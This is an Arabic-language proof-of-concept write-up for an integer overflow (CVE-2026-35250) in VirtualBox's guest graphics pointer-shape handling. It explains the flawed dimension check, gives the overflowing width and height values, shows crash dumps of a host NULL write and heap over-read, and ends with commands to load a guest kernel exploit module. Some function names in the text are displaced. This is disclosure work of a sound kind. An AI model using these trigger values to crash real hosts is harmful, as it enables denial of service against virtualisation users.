
إثبات المفهوم لـ CVE-2026-35250، وهو تجاوز عدد صحيح في DevVGA_VBVA الخاص بـ VirtualBox يؤدي إلى رفض الخدمة عبر ضيف متميز. يتضمن تحليلًا بمساعدة الذكاء الاصطناعي ووحدة استغلال.
أول ثغرة أمنية لي هي 2.3
المشكلة موجودة في src/VBox/Devices/Graphics/DevVGA_VBVA.cpp:740-743 في ASSERT_GUEST_MSG_RETURN حيث يستخدم فحص الأبعاد || (OR) بدلاً من && (AND). يمكن للضيف توفير width=0x80000001, height=16 ويمر الفحص لأن height <= 2048. ثم في الأسطر 745-746:
cbPointerData = ((((SafeShape.u32Width + 7) / 8) * SafeShape.u32Height + 3) & ~3)
+ SafeShape.u32Width * 4 * SafeShape.u32Height;
الفحص اللاحق في السطر 748 (cbPointerData <= cbShape - 24) يمر بالقيمة المقتطعة (80 <= 104). يقوم المضيف بتخصيص 80 بايت عبر ، وينسخ 80 بايت من ذاكرة VRAM الخاصة بالضيف، ثم يمرر الأبعاد 2,147,483,649 × 16 مع مخزن مؤقت بحجم 80 بايت إلى ، الذي يعالج شكل المؤشر باستخدام الأبعاد الضخمة.
RTMemAllocpfnVBVAMousePointerShapeيقوم المضيف بحساب عرض خط المسح لقناع AND من الأبعاد المتجاوزة ويقرأ ما بعد المخزن المؤقت في الكومة بحجم 80 بايت.
الانهيار 1 — كتابة لمؤشر NULL (مؤشر ترابط عرض واجهة المستخدم الرسومية):
ExceptionCode=0xc0000005 ExceptionAddress=VirtualBoxVM.dll+0x000267a2
ExceptionInformation[0]=1 (WRITE) ExceptionInformation[1]=0x0000000000000000 (NULL)
rsi=0x80000001 (POISON_WIDTH) r13=0x10 (POISON_HEIGHT=16) rcx=0x0 (NULL dest)
الانهيار 2 — قراءة زائدة من الكومة (مؤشر الترابط الرئيسي EMT):
ExceptionCode=0xc0000005 ExceptionAddress=VBoxC.dll+0x000d1194
ExceptionInformation[0]=0 (READ) ExceptionInformation[1]=0x00000263cefe8fd0
rax=0x80000001 (POISON_WIDTH) r12=0x10000001 ((WIDTH+7)/8 = AND scanline width)
r13=0x10 (POISON_HEIGHT=16) r8=0x80000001 (POISON_WIDTH)
نظرًا لأن المضيف هو 64-bit، لا أعتقد أنها مشكلة قابلة للاستغلال. من أجل "الاستغلال"، قم بذلك على الضيف:
# Guest: build and load
cd /path/to/poc
make
sudo insmod gfx1_exploit.ko